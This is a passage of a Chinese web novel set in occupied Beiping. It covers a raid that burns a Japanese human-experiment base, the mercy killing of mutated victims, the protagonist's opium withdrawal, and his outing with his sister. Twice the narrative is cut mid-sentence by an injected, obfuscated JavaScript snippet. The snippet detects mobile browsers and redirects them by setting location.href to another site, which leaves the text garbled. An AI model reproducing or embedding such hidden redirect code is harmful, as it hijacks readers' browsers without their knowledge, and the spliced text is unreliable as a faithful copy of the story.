可陈尽忠却丝毫不愿意松口,“我是你们的领导,我说的话你们也不听了吗?” “这件事情就这么定了,都不许争!” 万一沈听肆所说的情报有误,或者说他是东瀛人安插过来的间谍,他这一把老骨头死了也就死了,万万不能让这些年轻人去冒险。 看着这些人争得面红耳赤的,沈听肆顿时有些无奈。 可他终究也无可奈何,毕竟他们也不过是初次见面,互相之间不信任才是应该的。 但幸好陈尽忠愿意冒险一次,否则沈听肆还真不知道到底该怎么毁了这个研究基地了。 当天晚上陈尽忠就和沈听肆一起去了那个地方。 和沈听肆前几天来的时候完全不一样,这里已经大变样了,许多大型的车辆停靠在基地的周围,而且巡查的士兵也增多了许多。 很显然的,他们已经转移了。 陈尽忠下意识的攥紧了手,虽然还没有见识到那些人体研究究竟是怎么回事,可看到这么多的东瀛士兵守在这里,他也已经意识到了事情的严重性。 “不能再等下去了,我们明天就动手。” 迟则生变,万一就在他们犹豫的这段日子里,东瀛人已经完全转移成功,那他们将后悔一辈子。 — 这天夜半时分,就连站岗的士兵都在打着盹的时候,沈听肆和二十几名红党们却精神百倍的出了门。 他们的目的地,是那个做人体实验验的研究基地。 或许是因为明天就是他们彻底转移的日子,今天晚上守在基地周围的东瀛士兵格外的多,完全称得上是五步一岗,十步一哨了。 如果是沈听肆一个人的话,自然可以悄无声息的潜入进去,可现在他们一共有二十多个人,想要不引起东瀛人的注意力潜入到基地里面,还是非常困难的。 围着基地转了一圈,沈听肆发现西边的防御要稍稍弱上一些,这倒不是因为这里守卫的东瀛士兵人数变少,而是因为时间太晚了,有几个士兵经受不住半眯着眼睛在打盹。 沈听肆略微思索了一下,对陈尽忠开口道,“你们先站在这里不要动,我过去将那几个士兵放倒,以后大家再迅速过去。” 陈尽忠有些不太放心,目光将沈听肆上下打量了一番,看着他有些单薄的身材,迟疑道,“你真的可以吗?” 这倒不是他瞧不起沈听肆,主要是沈听肆看起来一副病怏怏的样子,他真的担心对方死在这里。 沈听肆轻轻笑了笑,“陈老师放心,我这身体还是挺厉害的。” 【你就吹牛吧!】在沈听肆弯着腰往前走的时候,9999忍不住出来拆台,【你今天白天才犯了一次烟瘾,现在身体是最为虚弱的时候,竟然还好意思大言不惭的吹嘘。】 沈听肆颇有些无奈,【毕竟我还是有几分功夫在身上的,难不成你要让那些半点技巧都不会的前来打头阵吗?】 9999无话可说,【行叭。】 它只希望自己的宿主能够少霍霍一下自己的小命,别又搞得任务还没完成呢,身体先遭不住了。 几个守卫的东瀛士兵们单手撑着手里的枪,脑袋一点一点的都快要昏睡过去。 就在这个时候,一道黑色的身影如同鬼魅一般急速掠了过来,紧接着手中的匕首闪过一道亮白的荧光,眨眼间就已经将那几个东瀛士兵给抹了脖子。 整个过程悄无声息,甚至连那些东瀛士兵倒下的时候都还被沈听肆给嘘嘘的搀扶了一下,让他们不至于发出强烈的撞击声来。 陈尽忠都有些看呆了。 这么好的身手,如果是他的党内的同志们每个人都学上的一些的话,岂不是会大大的增加同志们存活的概率? 但此时很明显并不是来思索这件事情的好时候,陈尽忠将心思纳进心里,挥手示意着自己的同志们一块儿上去。 似乎是因为东瀛人自认为自己外围的守备工作做得足够好了,所以,基地内部倒没有太多巡逻的士兵。 一群人探头探尾的找了一会,很快就找到了那些做活体实验的地方。 亲眼见到那些被用来做活体试验的同胞的时候的冲击力比从别人耳朵中听到的,强烈千千万万倍。 在这个基地中,到处都充斥着难闻的药水的味道,同时还夹杂着丝丝缕缕的□□腐朽的恶臭味。 看到沈听肆等人的到来,其中还有些许保存着理智的人开始不停的击打着透明的罐子,拼尽全力的嘶吼,“杀了我,杀了我!” 那是一个格外年轻的女性,看起来也最多不过二十岁的样子,但她的身体已经严重的畸变。 她的耳朵又尖又长,直直的立起来,好像是两根金属天线,就连包裹着耳朵的皮肤也变成了银白色,散发着淡淡的金属光芒。 而她不停地拍打着玻璃罐子的双手却变成了鱼蹼的样子,五根手指之间的缝隙全部由一层长着鱼鳞的东西给连接在了一起,完全没有办法像曾经一样的活动自如。 她说话的嗓音也很奇怪,沙哑的仿佛是几千年前的老式拉风箱,几乎快要听不清楚具体的音调。 “杀了我,求求你……” “杀了我吧!!!” 她不想沦落为怪物,更不想最后变成战争的机器,将刀尖指向自己的同胞。 见沈听肆站在原地久久的不动弹,9999开口提醒了一句,【宿主,这些人已经救不回来了。】 【而且他们活着比死了更加的痛苦。】 【我知道。】沈听肆轻轻的应了一声。 他只是想要把这些人的面貌记下来,让他们的牺牲,不再变得毫无意义。 沈听肆之前隔着玻璃已经见识过一次,所以并没有太大的情绪波动。 可陈尽忠等人却在一瞬间红了眼。 尤其是当中一个才十几岁的小年轻同志,几乎是目眦尽裂。 “他们怎么敢的?他们怎么能这么做?!!” “完全没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536851|170913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人性啊!” 陈尽忠急忙走过去,用手捂住了那名小同志的嘴巴,“别吵,万一一会儿把东瀛人引来就不好了。” 小同志努力的压下心中的戾气,拳头死死地攥着指甲,都掐进了肉里去,那双充满恨意的眸子里凝聚了泪光,一眨不眨的看着前方的那些透明的大罐子。 “怎么办……他们还有救吗?” 这么多被进行了活体研究的成员,可他们前来的一共只有二十多个人,就算是想救也根本救不出去。 更何况,这些人已经完全不能够被称之为人了,他们现在的样子,一旦出去了,定会引起巨大的轰动。 而且……离开了这些奇怪的药水,他们还能不能继续活下去,也是一个未知数。 小同志拼命的捂着嘴巴,但终究还是有细细密密的抽噎声传出来,“陈老师,我们现在怎么办?” 陈尽忠闭了闭眼睛,无人知道他究竟想了些什么,等再次睁眼的时候,他眼底染上了一抹沉重的痛意,“救不回去了,我们只能杀了他们,给他们一个了断。” 亲手抹杀掉自己的同胞,活下去的可能,陈尽忠的内心比任何人都要煎熬,可他别无选择。 为了他们更多的同胞,为了在前线舍生入死的那些同志们,他不得不这样做。 这个深受敬重的校长,对着那些被困在罐子里的同胞们深深的鞠了一个躬,“抱歉,我没有办法带你们回家了。” 其他人也学着他的样子鞠躬。 每个人脸上的神情都充斥着悲伤,可他们终究无法得到一个两全其美的解决办法。 陈尽忠吩咐同志们去毁了那些罐子,而他自己则是去销毁那些研究的资料。 伴随着一阵又一阵玻璃碎裂的声响,那些被困在罐子里的人们也缓缓的滑了出来。 他们的身体早已经被那些奇形怪状的药液给损害殆尽了,即便脱离了那个罐子,也没有一个人有力气起身逃离。 或许…… 就此解脱,对他们而言也是一个最好的结果了吧。 “谢谢……” “谢谢……” 沙哑着的,像野兽般的,嘶吼着的,呢喃着的…… 种种不同的低沉的嗓音,接二连三的在众人耳边响起,可他们说出来的话却从始至终都是相同的“谢谢”两个字。 他们感谢这些人来到这里,将他们从痛苦中解救,可以让他们摆脱日复一日的研究的折磨。 死亡,对他们来说并不是终点。 他们笑着迎接。 陈尽忠背过身去悄悄的抹了一把眼泪,颤抖着嘴唇无声的说了一句,“希望你们下辈子平安喜乐,幸福安康。” 最简单不过的一句祝福语,却是这个时代无数人梦寐以求的渴望。 沈听肆迅速的将这些人的资料全部记录了一遍以后 ,一朵跳动的小火苗被扔在了罐子旁边那厚厚一层的纸质资料上。 那上面记录着的是这些活体实验从一开始到现在的所有最原始的数据。 这种东西,根本就不应该留存在这世上。 纸张遇到明火自燃是一触即燃,转瞬之间,那些对于东瀛的人而言极为重要的资料就已经全部都化成了灰烬。 火舌渐渐的向周围蔓延,不一会就触碰到了落在地上的不知名液体。 霎那间,那原本是浸泡着人体的液体,仿佛变成了火龙的助燃剂,小小的火苗一瞬间急速的胀大了起来。 火龙呼啸着,喷涌着,将所有的一切都尽数抱在怀中,然后,一口吞噬,连渣都不剩。 “呜——” 一道刺耳的报警声在整个基地中响起,滚滚的浓烟弥漫,惊动了巡逻的士兵。 “怎么回事?” “有人入侵!” “不好!浓烟好像是从研究基地的方向传来的,快点去禀报松井中佐!” 警报声响起的时候,无数的东瀛士兵们从外面冲了进来,试图找到造成这件事情的罪魁祸首。 可沈听肆却早已经带着陈尽忠等人爬上了研究基地的房顶,砸烂了窗户来到了外面。 整个基地都是一片嘈杂,再加上警报声响彻云霄,根本没有人注意到玻璃碎裂的声响。 一群人心有余悸的趴在房顶上,内心忐忑不已。 陈尽忠略微有些担心,“我们还能活着回去吗?” 虽然有许多的东瀛士兵都已经冲到了基地内部去,可外面还是有许多的东瀛士兵,他们现在再次想要悄无声息的离开,那可是不可能的了。 “先别急,”沈听肆仔细地观察着周围,“你们待在这里不要乱动,我下去看看。” “哎——”陈尽忠扯了一把沈听肆的手,可却没有拽住,只能眼睁睁的看着对方就那样溜了下去。 “这孩子……”陈尽忠沉沉地叹了一声,目光紧紧地盯着沈听肆的身影,无比的担心。 毕竟在这么多东瀛士兵当中,沈听肆就是一个活靶子。 陈尽忠往前挪了挪,猫着头掏出自己的手枪,“大家掩护沈先生。” 但出乎陈尽忠意料的是,沈听肆的动作十分的迅速,宛若一阵风一样很快的就溜了下去。 甚至还有时间解决掉了几个东瀛士兵。 在他们还来不及发出呼喊的时候,就已经和这个美妙的世界说再见了。 眼看着几乎一大半的东瀛士兵都冲进了基地内部去,沈听肆迅速的从外面锁上了基地的大门。 熊熊燃烧的火焰肆意流窜,毫无忌惮的吞噬着周边的一切,张牙舞爪的扩张着自己的统治,所到之处尽是一片虚无,只留下奔腾翻涌着的硝烟弥漫。 漫天的火光中,青年唇瓣微微勾起,淡漠的目光仿佛是从远古而来,带着一抹诡异的寒意。 不远处的一个士兵眼疾手快的架起机枪,不管不顾的冲着沈听肆扫射。 密密麻麻的子弹直直的向前扫,原本就在烈焰中燃烧有些脆弱的墙壁有一部分轰然坍塌,巨大的动静带来阵阵狂响,满地的灰尘被激荡在空中。 然而,沈听肆的动作十分的迅速,他随手捡起一名东瀛士兵的尸体挡在自己的面前,随后,快速的向着拿着机枪的士兵移动,子弹不断的在沈听肆脚下炸开,却并没有打到他的身上。 拿着机枪的士兵只觉得眼前一花,那被他拿枪指着的青年就已经消失不见了,还不来及思索到底发生了什么事情,一双冰凉的手指就已经攀上了他的脖子。 霎那间,那士兵瞳孔骤然放大,视线的侧边,那个鬼魅一般的青年,已经立在了他的身后。 来不及挣扎,那士兵只听到“咔嚓”一道骨头断裂的声音,疼痛还来不及爬上他的头皮,所有的一切,就已经彻底的在他眼中消散。 士兵缓缓的倒在地上,仰面躺着的他一双眸子睁的老大,浓烈的恐惧在没有来得及散去,那双眼眸就已经失去了神采。 下一瞬,沈听肆举着从方才那士兵手里夺过来的机枪,对着一众的士兵就是一顿扫射。 一个又一个的士兵倒下,火龙也在逐渐的蔓延,绝望和死寂充斥着整个基地周围。 当沈听肆手里机枪的子弹几乎快要用光的时候,也短暂的清理出来了一块安全的区域。 于是,陈尽忠等人迅速的用绳索从楼顶滑下来,在沈听肆机枪的掩护之下,离开了这一块地方。 而此时基地的内部,一群士兵们急吼吼的冲进了基地,现在还没有找到究竟是什么人跑进来作乱的时候,大火就已经蔓延起来了。 “不行,这么大的火,我要离开,我不能死在这里!” 士兵们乱成了一锅粥,挤挤攘攘的四处逃窜,在火舌吞噬万物的“噼啪”声中,他们始终没有发现导致这一场大火的人的身影。 然而,当他们冲到门口的时候却突然发现,整个基地都已经被封死,一只苍蝇都飞不出去。 见无法逃离,士兵们试图去寻找水源灭火,却又绝望的发现,所有的设备中都挤不出来一滴水。 更让他们感到惊恐的是,在一个士兵试图用那研制出来的药水去灭火后,火不仅没有被灭掉,反而是燃烧的更加凶猛了,突然暴涨的火龙顷刻间就将那个士兵烧成了灰烬。 心生绝望的士兵们想要通过电话向上禀报,这个时候才发现电话线早已经被烧断,根本传不出去半点消息。 几名原本在休息室里休息的研究人员们,也被困死在了漫天的大火里。 一时之间,“噼啦啪啦”的灼烧声,绝望的叫喊声,想要活下去的挣扎声,无助的抽泣声,加上猛烈的拍门声,种种声音夹杂在一起,让这巨大的底下基地,彻底成了埋葬人生命的炼狱。 当松进中佐好不容易在手下的保护之下砸开四楼的窗户,逃出来的时候,就发现所有的一切都来不及了。 基地的大门被锁死,在基地里面巡查的士兵也好,他们研究了几年的研究成果也罢,甚至连那些研究人员,全部都淹没在了火海里面。 “到底是怎么回事?!为什么会突然着火?这么多巡逻的士兵都是干什么吃的?!”松进中佐气的声音发抖,恨不得直接掏枪打死在场的所有人。 当他们终于打开了研究基地的大门,且浇灭了这熊熊燃烧着的烈焰的时候,整个基地已经彻底的沦为一片废墟了。 断壁残垣中,是一具具被烧成了焦炭的尸体,他们一个两个的堆叠在基地的大门口,垒成了一座座小山。 即便是已经完全被烧焦,还是能够从他们不断向前伸着的手臂,以及扭曲狰狞的面孔上探寻到他们对于生的渴望。 可他们最终还是被火焰吞没,没有留下片刻的信息。 “进去搜!”松井中佐铁青着一张脸,那双黑黝黝的眸子沉的几乎快要滴下墨来,“不允许放过任何一个角落!” 这是他们最为重要的实验基地,一旦研究成功,将会对战争起到决定性的作用。 东瀛的地方其实并不大,领土相对于其他国家而言也十分的稀少,若不是因为他们率先开启了科技革命,恐怕现在被殖民的就是他们自己。 为了能够占领更大的地盘和更多资源,他们必须不惜一切代价去掠夺。 而和他们距离最近的夏国,就是一个最佳的选择。 可夏国的人太多了,而且个个都拥有着极高的民族认同感,从他们踏入这块土地开始到现在,已经远远的超过了他们预计的拿下夏国的时间。 为了尽可能的在各个战场上取得胜利,人体研究基地就成为了他们最重要的一个环节。 可现在,眼看着就要取得一定成果的时候,所有的研究竟然都被付之一炬了! 若是他们无法抓到这个罪魁祸首,那么他将和松进中佐一起接受最为严厉的惩罚。 只希望这场大火烧的不够干净,还能够留下些许的数据。 否则的话,他们恐怕只能切腹以表达自己对皇帝陛下的忠诚了。 奈何,幸运之神并未曾听到松井中佐的祷告。 在看到搜查的士兵出来以后,松井中佐迫不及待的迎了上去,“情况怎么样?还能不能挽救?” 那士兵一脸的垂头丧气,“全部都烧干净了,什么也不剩,就连……几位研究员也都被烧死了。” 松井中佐身体踉跄了一下,差点直接摔倒在地上。 他粗重的喘了几口气,哑着嗓子,仿佛是耕了一亩地的水牛一般,“一定是夏国人!绝对是这些最为下等的夏国人干的!” 可纵使他再过于气愤,一切也终究无法挽回了,而放火损毁了这个研究基地的人,也早已逃之夭夭。 —— 平川大佐耗费了小半个月的时间,却始终没有抓到放火烧毁了研究基地的人。 这件事情上报上去以后,平川大佐得到了上级领导严厉的批评,“平川君,带了这么多年的兵,你也不是一个毛头小子了,怎么还能犯这么严重的错误呢?” “就算我想要给你兜底,也终究是无能为力啊。” 平川大佐对此并没有什么异议,“是我的错,我认罚。” 他的领导长长叹了一声,“皇帝陛下觉得你不再适合负责北平,打算重新派一个人掌管这里,平川君,你要提前做好准备。” 这话让平川大佐的一颗心不由得抖了抖,“长官的意思是……” 领导看了他一眼,缓缓吐露出一个名字,“渡边信长。” 平川大佐瞳孔一缩,“竟然会是他!!” 渡边信长是太平洋战区颇有名气的一名军事大将。 此人的手段极其残忍,恶劣,就连身为和他同一国人的平川大佐都忍不住有些心惊胆寒。 因为,做活体研究这件事情,就是渡边信长提出来的。 7. 第 7 章 趁着夜色一路回到北平城内的时候,沈听肆就迫不及待的和陈尽忠等人道别了,“虽然现在消息还没有传回来,但想必用不了多久,他们就会全城戒严,诸位当心,注意安全。” “最近一段时间,千万不要轻举妄动,如果不是十万火急的事情,就连之前聚集的那个地方也不要去了……” 沈听肆絮絮叨叨的嘱托着,陈尽忠是越看越满意,不由得提出了一个想法来,“不知道沈先生有没有意愿加入我们?” 虽然沈听肆现在并不是他们党派的成员,但是身为一个夏国人,他们的爱国之心都是相同的,而且他也希望自己的组织能够出现一个像他这样的人才。 毕竟能够像沈听肆这样可以得到这么重要的关于东营人的情报的人员,他们组织内部暂时还是十分缺少的。 沈听肆等的就是他这句话,“想法自然是有的,就是不知道能不能实现了。” 陈尽忠无比赞同的拍了拍他的肩膀,“放心,等我回去以后就给组织上写信,像你这种人才,组织肯定会同意。” 又交代了一番,沈听肆就要离开。 毕竟这忙忙碌碌一个晚上,天都快要亮了,而且他早上还要去东营人的租界那里去上班呢。 趁着上班之前必须回去洗个澡,把身上的衣服换一换,可不能残留下一丝一毫的火药味来。 否则定会引起不必要的麻烦。 但陈尽忠却稍稍拦了拦他,那双历尽千帆的混浊眼眸当中含着关切,以及长辈对于小辈的挂念,“我知道你现在是跟在东营人身边做事的,否则你绝对拿不到这么绝密的情报。” 他们今天做的这件事情无疑是捅了,东营人的马蜂窝了。 他们这些北平大学的学生老师们倒还好,不会引起太多的注意力。 可潜伏在东瀛人身边的沈听肆就格外的有些危险了。 “但就像你刚才说的那样,在这个节骨眼上,万事小心,无论如何,你的第一要义都是要确保自身的安全。”陈尽忠定定地看着沈听肆,不给他丝毫拒绝的机会。 沈听肆听到这话忍不住低头笑了一声。 突然有些好奇,如果陈尽忠知道自己就是那个叛变了的傅青隐的话,还会说出这般关切的话来吗? 只不过,沈听肆终究也只会在心里想想罢了。 “我会的,陈老师。”沈听肆认真的看了他一眼,点头应了一声,然后大踏步离开。 天还未曾完全大亮,路上的行人也少之又少,沈听肆专门挑那种无人的小巷行走,没有引起任何人的注意,一路翻墙回到了自己的房间。 在他清理干净了身上的火药味,前往东营的租界上班的时候,陈尽忠也没有闲着。 他静下心来,坐在桌子边上,拿出信纸,无比认真的落下一个又一个的钢笔字。 他们也不是没有考虑过往东瀛人身边安插卧底,可这件事情太过于困难了,因为东营人从始至终都是不相信夏过人的。 他们安插过去的卧底,即便是留在了东营的租界里面,也基本上是接触不到东营的高层的,甚至是说连稍微重要一些的职务都没有,顶多做一些打扫伺候人的活。 沈听肆能够得知这么重要的情报,至少他在东营人那里是身居要职的,甚至有可能可以和平川大佐直接接触。 若是能将他拉拢到组织内部来,那么,他将会成为他们组织反抗东瀛的最大助力。 无论如何,这都是一个非常好的机会,陈尽忠不想错过。 写好了信,晾干了上面的墨水,陈尽忠小心翼翼的将信纸叠起来装进了信封里,寄给了他的上级联络员。 —— 同一时间,沈听肆也在自己的办公室里做着翻译的工作。 可或许是因为昨天晚上又熬了夜,再加上昨天白天才犯了烟瘾,沈听肆的身体极为不舒服。 即便9999屏蔽了他的痛觉,可那种难受的感觉却并没有因此而消失。 他只是坐在那里写了几个字,喉咙深处就蔓延出了一阵剧烈的痒意,紧接着就是一阵撕心裂肺的咳嗽声。 沈听肆感觉自己的肺好像是一个老旧的风箱一样,在胸腔里面胡乱做响,呜哩哇啦的发出一连串的怪叫。 因为他咳嗽的动作实在是有些剧烈,拿在手里的钢笔不由自主的被迫掉落了下来,笔尖在纸上印过一道深深的划痕,好不容易翻译下来的几个字,便彻底的废了。 9999都快要急死了,这个任务的时间比较长,宿主最起码还要在任务世界待上三年,可这才穿越过来不到两个月的时间,沈听肆就已经把身体折腾的不成样子了。 【你在乎一下你自己吧……】9999所有能劝导的话都已经说了个遍,可沈听肆却始终我行我素,当真是玩儿命一般,完全不把自己的身体当回事。 “咳咳咳——” 又一阵剧烈的咳嗽声过后,沈听肆猛猛灌了一大杯水下去,才终于感觉喉咙里的痒意减缓了一些。 只不过此时他的那张脸白的毫无血色,看上去都有点儿像是刚死了没多久的尸体。 止住了咳嗽,沈听肆坐在椅子上缓了一会儿,才缓缓的开口对9999说道,【没事的,我这身体情况我有数,暂时还死不了。】 9999一阵无语,【要不你把你藏在手里面的手帕展开看看呢?】 刚才沈听肆咳嗽的时候一直用手帕捂着嘴巴,止了咳之后,也只是一直将那个手帕团起来,捏在手里面。 即便9999看不清楚,可它也敢确信,沈听肆绝对是咯血了的。 沈听肆有了一种被抓到包的窘迫感,沉默了一瞬后,随意的解释道,【老毛病了,没有什么大碍。】 9999那双蓝色的狐狸眼直勾勾的盯着,【你觉得我信不信?】 【今天下班了以后必须要找个大夫来瞧一瞧,】9999夹杂着机械的嗓音里面包含着不容置喙的坚定,【要不然我真的跟你急!】 【好好好,】沈听肆一边将那个带血的手帕叠起来装在了身上的口袋里,毕竟这东西可不能被东营人给看见了,一边应答着9999的话,【下了班立马去找大夫。】 其实沈听肆又何尝不知道自己的身体情况呢? 虽然这具身体才不过二十多岁的年纪,内里却早已经被大烟给掏空了,而且戒烟也不是一朝一夕就能做到的,对身体的损伤也极大。 他强忍着欲望不去抽大烟,几乎是用掉了半条命。 可没有办法,他没时间了。 傅青隐背负着骂名,忍受着所有人的唾弃,也不过是想要让这个国家尽快的强大起来,想要更多的救下一些同胞而已。 但是傅青隐不知道剧情,只能凭借本能的往前走。 现在已经是六月末,还有不到三个月的时间,北平将彻底的沦陷。 沈听肆必须抓紧一切的可能,提前做好准备。 下班之后,沈听肆先回了趟家,毕竟他上班的时候穿的是东营伪军的衣服,若是不换一身的话,恐怕还没走到药堂门口,就吓得人家大夫不敢开门了。 “哥。”沈听肆从里屋出来时,看到妹妹傅云禾坐在堂屋里等着他。 沈听肆颇有些诧异,毕竟他这个妹妹的性子,他还算是了解的,平日里没事的时候总是待在自己的院子里,大门不出,二门不迈,甚至连花园里都去的次数极少。 又怎么会主动来找他? “是遇到什么难事了吗?”沈听肆走过去,在她旁边坐下,低头看向傅云禾的脸庞,却发现她的面上虽没有什么愁容,却隐隐的有些纠结之色。 “这倒不是,”傅云禾轻轻摇了摇头,白日的时候爹爹打来电话了,“说他在南边的生意已经完成,不日将启程回北平。” 傅云禾其实是比较害怕傅烆这个大家长的。 傅烆身上具有着封建时期大男子主义的所有的劣根性,在他的眼里,只有儿子比较重要,女儿全部都是用来联姻的工具。 虽然傅云禾是他的嫡女,可他却除了傅云禾刚出生那天抱过她以外,就再也没有和她亲近过。 而小的时候每每傅云禾渴望父亲厚实温暖的怀抱,想要像其他家的小朋友一样骑在父亲的肩头,让父亲带着上街的时候,傅烆总是会冷言冷语的呵斥她。 时间久了,傅云禾不再期待父爱,反而还对傅烆有了一股惧怕之感。 之前和盛子昂退婚的时候,因为盛子昂实在是太过分了,再加上沈听肆给了她莫大的勇气,所以傅云禾也就勇敢的说出了自己的心里话。 她不想嫁给盛子昂。 傅云禾现在也认识了一些字,虽然还没有办法将一整张报纸都看懂,可家里面熟悉的一些人的名字,她还是都认得的。 因此,在报纸上看到傅家和盛家解除婚约此后男婚女嫁互不相干的消息的时候,傅云禾心中是比较高兴的。 因为她觉得哥哥说的对,她不能将自己的人生绑在一个对她毫无感情的人身上,就这样蹉跎了下半辈子。 跟着哥哥读书识字的这些天,是傅云禾短暂的17年生涯当中最快乐的时光。 因为自从读书识字以后她才发现,原来女子真的不只有嫁人这一条路可以走,甚至还有女子做生意,撑起一整个家来。 看到那样的消息的时候,她真的是又羡慕又难过。 羡慕对方可以活的那样的潇洒自由,也难过因为自己的一双小脚,注定不可能像对方那样。 只不过傅云禾也只是难过了一小会儿,就已经收起了所有的情绪,因为她知道她如今已经比曾经清醒了不少了,只要她继续念书,就算没有办法,像其她女子那样抛头露面的做生意,她也可以有自己的想法和思考,可以为自己的人生做主。 但这种快乐的生活只持续到今天早上,一通来自南方的电话,打破了她的美梦。 傅云禾不敢想象当傅烆知道她和盛家退了亲,甚至还登报将这件事情昭告天下的时候,究竟该有多么的愤怒。 她怀疑愤怒到了极点的傅烆很有可能会直接把她打包扔到盛家去,让她做盛子昂这姨太太。 所以傅云禾一直等着沈听肆回来,听到丫鬟的通传后,半刻也等不及的就直接跑过来了。 沈听肆的目光落在那张满是不安的面容上,傅云禾紧紧地盯着他,迟疑的开口,“哥哥,万一爹爹生气我退亲的事怎么办?” 她不仅退了和盛家的婚事,甚至还大逆不道的学了识字,看了那些只有男子们才能看的报纸。 “怕什么?”沈听肆忽然朝她笑了一下,声音低低的,“我说过了这件事情我会为你做主,就算是爹也没有办法改变。” 沈听肆说话的语调并不高,甚至是格外的温柔,可傅云禾却偏偏从里面听到了一抹坚定之意来。 她收敛了神色,低垂下眼眸,淡淡的应了一声,“好,我相信哥哥。” 了却了心中的一庄事,傅云禾这才注意到沈听肆的打扮很明显的是要出门,“哥哥还有什么事要做吗?” 沈听肆不欲隐瞒,毕竟这事也没有什么好隐瞒的,“嗯,今儿个身体不太舒服,想去药堂找个大夫瞧上一瞧。” 傅云禾眼中隐隐闪过了一抹期待之色,“那我可以陪哥哥一起去吗?” 她从那些书籍上面了解到傅府外面的世界以后就迫不及待的想要出去看看了,可她独自一人终究是胆小,不敢出门。 但如果有哥哥陪着的话,她或许可以瞧上一瞧她从未了解到的北平。 “自然是可以的,”沈听肆说着话抬步往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536852|170913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外走,扭头看着还傻愣愣坐在那里的傅云禾,不由得开口催促道,“不是想出去瞧瞧吗?还不快跟上?” 傅云禾心下一喜,连忙站了起来,“来了!” 因为小脚的缘故,傅云禾走路的速度很慢,但沈听肆也不着急,就在一旁慢悠悠的踱步等她。 从后院走到府门前,平日里沈听肆只用几分钟的时间,今日却走了近二十分钟。 傅云禾一张小脸涨得通红,羞涩极了,“我是不是耽误哥哥了?” 她虽然知道自己走路很慢,可却也从来没有觉得进会慢成这个样子,哥哥基本上都是走一步停两步的来等她了。 “本也不是什么要紧的事情,等一等你也无妨,”沈听肆安抚着说道,“你是该出来看一看的,成天窝在自己的小院子里面,人都要憋坏了。” 想要去逛街的话,仅靠傅云禾的那一双小脚走路自然是不太行的,于是沈听肆拦了两辆黄包车。 傅家坐落在北平一条十分繁华的街道上,来来往往的黄包车络绎不绝,只不过那些车上坐着的,绝大部分都是穿着洋装羊裙的年轻人们,再就是身穿旗袍的太太小姐。 像傅云禾这样一袭旧式袄裙的,满大街都好像找不出来第二个了。 傅云禾莫名的有些自卑,因为她发现街上的女子基本上都是不裹脚的,她们都穿着十分漂亮的小皮鞋,或者是高跟鞋。 盛子昂其实说的也没有错,她就是一个什么都不懂的封建小女人。 傅云禾有些害怕了,“哥哥,要不我就不去了吧,我记得我还有几个字没有写……” 可沈听肆却直接不由分说的将傅云禾拉过来按到了黄包车上坐下,“云禾,你要知道万事开头难,如果你不想一辈子都困在那个方寸之地,你就要自己走出来,明白吗?” 傅云禾紧张的小手攥紧了,多年来的思想教育让她一点都不自信,“可是……我真的可以吗?” “不试一试怎么知道?”沈听肆随手扔给黄包车夫一个大洋,“不要走太快,现在那些小姐太太们流行去哪里,就带着我们去哪儿吧。” “好咧!”黄包车夫很久没收到这么大笔的钱了,瞬间呲着牙乐了起来,不仅放慢了速度,而且还专门挑平稳的地方走,力求在车上的两个人能够享受到最好的服务。 黄包车夫拉着两个人绕了北平一小圈儿,等最终在一个中医的药堂前停下来的时候,天都已经黑了。 傅云禾一点一点的从黄包车上挪下来,始终沉默着没有开口。 一开始的时候,沈听肆只是让黄包车夫拉着他们去了一些休闲娱乐场所,但到了后来,又到那些破旧的贫民窟走了一遭。 书中认识的再多,也不如亲眼见证一次。 傅云禾看见了声色犬马的纸醉金迷,也看见了莘莘学子的谈古论今,更是看见了那些挣扎在社会最底层的民众们营营苟苟的活着。 这是她此前17年的短暂人生当中从未见过的场景。 在傅云禾的心里留下了沉重的烙印。 她只知道有的人贫穷,有的人富有,她也曾经捐过自己的一些衣衫首饰去做善事,可她却从未亲眼见过那些贫穷的人,究竟有多么的贫穷。 如今她才算真正的明白,有的人,能够活着就已经耗尽了所有的努力。 沈听肆今日将这个最为残忍的现实铺在了傅云禾的面前。 十七岁的小姑娘未曾经历过什么苦难,只以为退婚就已经要了她的半条命。 沈听肆希望今日所看到的一切,能够让傅云禾有所触动。 毕竟文人辈出,思想解放,十里洋场,才子佳人,只不过是这个时代其中最微不足道的一个缩影罢了。 对于绝大多数的普通人而言,这个时代没有风花雪月,没有甜蜜的爱情,有的只是数之不尽的苦难,和长年累月的战乱。 红晴恶犬如豺虎,人腿衔来满地拖。 兵去匪来屠不尽,一城老幼剩三人。 这才是真正的这个时代。 两个人进了药堂,坐在柜台后的老大夫缓缓抬起眼,目光先是在沈听肆显得有些苍白的脸上扫视了一番,随后又落在了傅云禾隐藏在层层叠叠的裙摆下的那双小脚上。 老大夫略有深意的开了口,“今日倒是来了两个病人。” 傅云禾连连摇头,“我不看病的,是哥哥看病,我来陪哥哥而已。” 老大夫笑而不语,挥手示意沈听肆走上前,随后将手搭在他的腕上开始把脉。 “啧,”刚刚探上去没多久,老大夫就啧了一声,略带不悦的看向沈听肆,“你这身子亏损的厉害啊,抽大烟了?” 没有什么好隐瞒的,毕竟在中医面前也隐瞒不下去,沈听肆点点头,“是,已经在戒。” 老大夫对于沈听肆所说的话略微有些诧异,随即又发出一声叹息,“这玩意儿可不是这么好戒的,你这身子太虚了,虚不受补,我先给你抓点药你慢慢吃着吧,吃完了再来找老夫。” 沈听肆乖巧应下,“好。” 